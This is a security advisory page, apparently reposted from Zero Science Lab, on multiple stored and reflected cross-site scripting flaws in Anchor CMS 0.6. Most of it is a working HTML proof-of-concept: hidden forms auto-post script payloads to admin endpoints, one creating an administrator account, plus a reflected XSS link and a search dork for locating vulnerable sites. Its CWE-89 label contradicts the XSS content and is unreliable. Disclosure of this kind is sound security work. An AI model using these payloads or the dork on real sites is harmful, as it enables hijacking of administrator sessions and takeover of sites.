Anchor CMS 0.6 Multiple Persistent XSS Vulnerabilities

2012.04.22
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

<!-- Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities Vendor: Team Anchor Product web page: http://www.anchorcms.com Affected version: 0.6-14-ga85d0a0 Summary: Anchor is a content management system, written in PHP5, built for art-directed posts. Desc: Anchor CMS suffers from multiple stored and reflected XSS vulnerabilities when parsing user input to several parameters via GET and POST method. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session. Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.21 PHP 5.3.8 MySQL 5.5.20 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2012-5085 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5085.php Dork: "intext:Powered by Anchor, version 0.6" 19.04.2012 --> <html> <title>Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities</title> <body bgcolor="#000000"> <script type="text/javascript"> function xss0(){document.forms["xss0"].submit();} function xss1(){document.forms["xss1"].submit();} function xss2(){document.forms["xss2"].submit();} function xss3(){document.forms["xss3"].submit();} function xss4(){document.forms["xss4"].submit();} function xss5(){document.forms["xss5"].submit();} </script> <form action="http://localhost/anchorcms/index.php/admin/users/login" enctype="application/x-www-form-urlencoded" method="POST" id="xss0"> <input type="hidden" name="user" value='"><script>alert(1);</script>' /> <input type="hidden" name="pass" value="admin" /> </form> <form action="http://localhost/anchorcms/index.php/admin/users/amnesia" enctype="application/x-www-form-urlencoded" method="POST" id="xss1"> <input type="hidden" name="email" value='"><script>alert(1);</script>' /> </form> <form action="http://localhost/anchorcms/index.php/admin/posts/add" enctype="application/x-www-form-urlencoded" method="POST" id="xss2"> <input type="hidden" name="title" value='"><script>alert(1);</script>' /> <input type="hidden" name="comments" value="1" /> <input type="hidden" name="css" value="" /> <input type="hidden" name="description" value="ZSL" /> <input type="hidden" name="html" value="1" /> <input type="hidden" name="js" value="" /> <input type="hidden" name="slug" value='"><script>alert(2);</script>' /> <input type="hidden" name="status" value="published" /> </form> <form action="http://localhost/anchorcms/index.php/admin/pages/add" enctype="application/x-www-form-urlencoded" method="POST" id="xss3"> <input type="hidden" name="name" value='"><script>alert(1);</script>' /> <input type="hidden" name="title" value='"><script>alert(2);</script>' /> <input type="hidden" name="content" value="Zero Science Lab" /> <input type="hidden" name="slug" value="ZSL" /> <input type="hidden" name="status" value="published" /> </form> <form action="http://localhost/anchorcms/index.php/admin/users/add" enctype="application/x-www-form-urlencoded" method="POST" id="xss4"> <input type="hidden" name="real_name" value='"><script>alert(1);</script>' /> <input type="hidden" name="bio" value="MK" /> <input type="hidden" name="email" value='"><script>alert(3);</script>' /> <input type="hidden" name="password" value="admin" /> <input type="hidden" name="role" value="administrator" /> <input type="hidden" name="status" value="active" /> <input type="hidden" name="username" value='"><script>alert(2);</script>' /> </form> <form action="http://localhost/anchorcms/index.php/admin/metadata" enctype="application/x-www-form-urlencoded" method="POST" id="xss5"> <input type="hidden" name="auto_published_comments" value="1" /> <input type="hidden" name="description" value='"><script>alert(1);</script>' /> <input type="hidden" name="home_page" value="1" /> <input type="hidden" name="posts_page" value="1" /> <input type="hidden" name="posts_per_page" value="1" /> <input type="hidden" name="save" value="" /> <input type="hidden" name="sitename" value='"><script>alert(2);</script>' /> <input type="hidden" name="theme" value="default" /> <input type="hidden" name="twitter" value='"><script>alert(3);</script>' /> </form> <br /><br /> <a href="javascript: xss0();" style="text-decoration:none"> <b><font color="red"><h3>XSS 0</h3></font></b></a><br /> <a href="javascript: xss1();" style="text-decoration:none"> <b><font color="red"><h3>XSS 1</h3></font></b></a><br /> <a href="javascript: xss2();" style="text-decoration:none"> <b><font color="red"><h3>XSS 2</h3></font></b></a><br /> <a href="javascript: xss3();" style="text-decoration:none"> <b><font color="red"><h3>XSS 3</h3></font></b></a><br /> <a href="javascript: xss4();" style="text-decoration:none"> <b><font color="red"><h3>XSS 4</h3></font></b></a><br /> <a href="javascript: xss5();" style="text-decoration:none"> <b><font color="red"><h3>XSS 5</h3></font></b></a><br /> <a href='http://localhost/anchorcms/index.php/"><script>alert(1);</script>'>XSS 6</a> </body></html>

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5085.php
http://www.anchorcms.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top